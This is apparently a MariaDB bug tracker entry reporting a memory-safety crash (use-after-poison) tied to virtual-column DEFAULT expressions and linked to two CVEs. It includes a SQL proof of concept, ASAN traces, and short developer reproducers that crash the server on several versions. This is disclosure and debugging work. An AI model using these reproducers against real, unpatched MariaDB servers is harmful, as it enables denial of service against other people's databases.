





MariaDB Server

MDEV-28099

MariaDB UAP issue

▼ Details

Type:	 Bug
Status:	CLOSED (View Workflow)
Priority:	 Blocker
Resolution:	Duplicate
Affects Version/s:	10.9.0, 10.2, 10.3, 10.4, 10.5, 10.6, 10.7
Fix Version/s:	10.3.35 , 10.4.25 , 10.5.16 , (2)
Component/s:	Virtual Columns
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

▼ Description

PoC:

```
CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY ) ;
DROP EVENT IF EXISTS v0 ;
UPDATE v0 SET v1 = -1 WHERE v1 = 'x' ORDER BY 'x' DESC LIMIT 93 ;
ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , ' ' ,
UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) ) ;
INSERT IGNORE INTO v0 SET v1 = ( ' ' ) + ( ( 'x' / NULL = INET_ATON ( ( v1 OR 'x' )
```





report (compiled with ASAN):

```
=====
==9569==ERROR: AddressSanitizer: use-after-poison on address 0x629000088404 at
READ of size 1 at 0x629000088404 thread T14
#0 0x9086a0 in Binary_string::free_buffer() /root/mariadb/sql/sql_string.h:
#1 0x9086a0 in Binary_string::free() /root/mariadb/sql/sql_string.h:680:5
#2 0x9086a0 in Binary_string::~Binary_string() /root/mariadb/sql/sql_string
#3 0x9086a0 in Arg_comparator::~Arg_comparator() /root/mariadb/sql/item_cmp
#4 0x171733a in Item_bool_rowready_func2::~Item_bool_rowready_func2() /root
#5 0x171733a in Item_func_eq::~Item_func_eq() /root/mariadb/sql/item_cmpfun
#6 0xae9e0 in Item::delete_self() /root/mariadb/sql/item.h:2522:5
#7 0xae9e0 in Query_arena::free_items() /root/mariadb/sql/sql_class.cc:383
#8 0xae9e0 in THD::cleanup_after_query() /root/mariadb/sql/sql_class.cc:22
```



```
#9 0xc41ba9 in dispatch_command(enum_server_command, THD*, char*, unsigned
#10 0xc4b74b in do_command(THD*, bool) /root/mariadb/sql/sql_parse.cc:1402:
#11 0x111f9f2 in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql
#12 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:131
#13 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2
#14 0x7f2f26f57608 in start_thread /build/glibc-SmFBJT/glibc-2.31/nptl/pthr
```

▼ Issue Links



duplicates

-  [MDEV-24176](#) Server crashes after insert in the table with virtual column ...  **CLOSED**
-  [MDEV-26407](#) Server crashes in Item_func_in::cleanup/Item::cleanup_proc...  **CLOSED**

relates to

-  [MDEV-23597](#) Assertion `marked_for_read()' failed while evaluating DEFA...  **CLOSED**

links to

-  [CVE-2022-27447](#)
-  [CVE-2022-27458](#)

▼ Activity

- ▼  [Alice Sherepa](#) added a comment - 2022-03-16 13:31 - **edited**

Thanks!

I repeated on 10.2-10.9, with InnoDB/MyIsam, probably the same as [MDEV-26407](#)

```
CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a), '2')));
UPDATE t1 SET a = 1;
```

10.2 0f56e21efa68ba3b37d117

```
mysqld: /10.2/src/sql/field.cc:2203: virtual bool Field_num::get_date(MYSQ
220316 14:05:10 [ERROR] mysqld got signal 6 ;
```

Server version: 10.2.44-MariaDB-debug-log

```
/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fcd927fe006]
sql/field.cc:2204(Field_num::get_date(st_mysql_time*, unsigned long long))
sql/item.cc:2841(Item_field::get_date(st_mysql_time*, unsigned long long))
```

```

10.2 0f56e21efa68ba3b37d117
sql/item_func.cc:150(Item_func::get_date_with_conversion(st_mysql_time*, unsigned lo
sql/item_timefunc.cc:1096(weekday_from_item(Item*, bool*, bool))[0x55841e2
sql/item_timefunc.cc:1126(Item_func_dayname::val_str(String*)) [0x55841e211
sql/item_strfunc.cc:129(Item_str_func::val_real())[0x55841e15e1ab]
sql/item_cmpfunc.cc:3809(in_double::set(unsigned int, Item*)) [0x55841e080b
sql/item_cmpfunc.cc:4218(Item_func_in::create_array(THD*)) [0x55841e084507]
sql/item_cmpfunc.cc:4375(Item_func_in::fix_length_and_dec())[0x55841e0859e
sql/item_func.cc:230(Item_func::fix_fields(THD*, Item**)) [0x55841e0df8a5]

```

on 10.4+:

10.4 069139a549a62f26d5

```

mysqld: /10.4/src/sql/field.cc:2130: virtual bool Field_int::get_date(MYSQ
220316 14:06:57 [ERROR] mysqld got signal 6 ;
Server version: 10.4.25-MariaDB-debug-log

```

```

/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fa5e0944006]
sql/field.cc:2131(Field_int::get_date(st_mysql_time*, date_mode_t)) [0x557d
sql/item.cc:3264(Item_field::get_date(THD*, st_mysql_time*, date_mode_t)) [
sql/sql_type.cc:904(Temporal_with_date::make_from_item(THD*, Item*, date_m
sql/sql_type.h:1946(Temporal_with_date::Temporal_with_date(THD*, Item*, da
sql/sql_type.h:2226(Datetime::Datetime(THD*, Item*, date_mode_t)) [0x557da6
sql/item_timefunc.cc:1143(Item_func_dayname::val_str(String*)) [0x557da70f3
sql/item_strfunc.cc:150(Item_str_func::val_real())[0x557da7024b7a]
sql/item_cmpfunc.cc:3867(in_double::set(unsigned int, Item*)) [0x557da6f2f4
sql/item_cmpfunc.cc:4431(Item_func_in::fix_in_vector())[0x557da6f3489d]
sql/item_cmpfunc.h:2400(Item_func_in::fix_for_scalar_comparison_using_bise
sql/sql_type.cc:5406(Type_handler_real_result::Item_func_in_fix_comparator

```

Similar with insert instead of update:

```

CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a), '2'))) ;
insert into t1(a) values (1);

```

If there is no index:

```

CREATE TABLE t1 (a int, b int DEFAULT (1 IN (dayname(a), '2'))) ;
insert into t1(a) values (1);
insert into t1(a) values (1);

```

10.2 0f56e21efa68ba3b37d117

Version: '10.2.44-MariaDB-debug-log'

10.2.0f56e21efa68ba3b37d117

==289599==ERROR: AddressSanitizer: use-after-poison on address 0x62b000000
READ of size 8 at 0x62b000000dd0 thread T27

```
#0 0x56107b2b87c2 in Item_func_in::cleanup() /10.2/src/sql/item_cmpfun
#1 0x56107af4bdbf in Item::cleanup_processor(void*) /10.2/src/sql/item
#2 0x56107a6b5bea in Item::cleanup_excluding_fields_processor(void*) /
#3 0x56107a7ccc80 in Item_func_or_sum::walk(bool (Item::*)(void*), boo
#4 0x56107ab90429 in fix_session_vcol_expr(THD*, Virtual_column_info*)
#5 0x56107a7b0bd6 in TABLE::fix_vcol_exprs(THD*) /10.2/src/sql/sql_bas
#6 0x56107a7b10b2 in fix_all_session_vcol_exprs /10.2/src/sql/sql_base
#7 0x56107a7b2184 in lock_tables(THD*, TABLE_LIST*, unsigned int, unsi
#8 0x56107a7b0062 in open_and_lock_tables(THD*, DDL_options_st const&,
#9 0x56107a7273e3 in open_and_lock_tables(THD*, TABLE_LIST*, bool, uns
#10 0x56107a868149 in mysql_insert(THD*, TABLE_LIST*, List<Item>&, Lis
#11 0x56107a8d1434 in mysql_execute_command(THD*) /10.2/src/sql/sql_pa
#12 0x56107a8e9d0f in mysql_parse(THD*, char*, unsigned int, Parser_st
#13 0x56107a8c2f14 in dispatch_command(enum server command, THD*, char
```

this test also crashes on non-debug:

10.6.7

Version: '10.6.7-MariaDB'

220316 14:01:32 [ERROR] mysqld got signal 11 ;

Server version: 10.6.7-MariaDB

```
sigaction.c:0(__restore_rt)[0x7ff91686b3c0]
sql/item_cmpfunc.h:2115(Predicant_to_list_comparator::Predicant_to_value_c
sql/item.cc:574(Item::cleanup_processor(void*)) [0x564631a00cfa]
sql/table.cc:3624(fix_session_vcol_expr(THD*, Virtual_column_info*)) [0x564
sql/sql_base.cc:5446(TABLE::fix_vcol_exprs(THD*)) [0x56463175cc32]
sql/sql_base.cc:5480(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned
sql/sql_base.cc:5274(open_and_lock_tables(THD*, DDL_options_st const&, TAB
sql/sql_insert.cc:752(mysql_insert(THD*, TABLE_LIST*, List<Item>&, List<Li
sql/sql_parse.cc:4567(mysql_execute_command(THD*, bool)) [0x5646317c6f48]
sql/sql_parse.cc:8030(mysql_parse(THD*, char*, unsigned int, Parser_state*
sql/sql_parse.cc:1955(dispatch_command(enum_server_command, THD*, char*, u
sql/sql_parse.cc:1406(do_command(THD*, bool)) [0x5646317cce83]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*. bool)) [0x564631
```

People

Assignee:



Sergei Golubchik

Reporter:



Jingzhou Fu

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▼ Dates

Created:

2022-03-16 10:00

Updated:

2022-04-28 11:44

Resolved:

2022-04-28 11:42

▼ Git Integration



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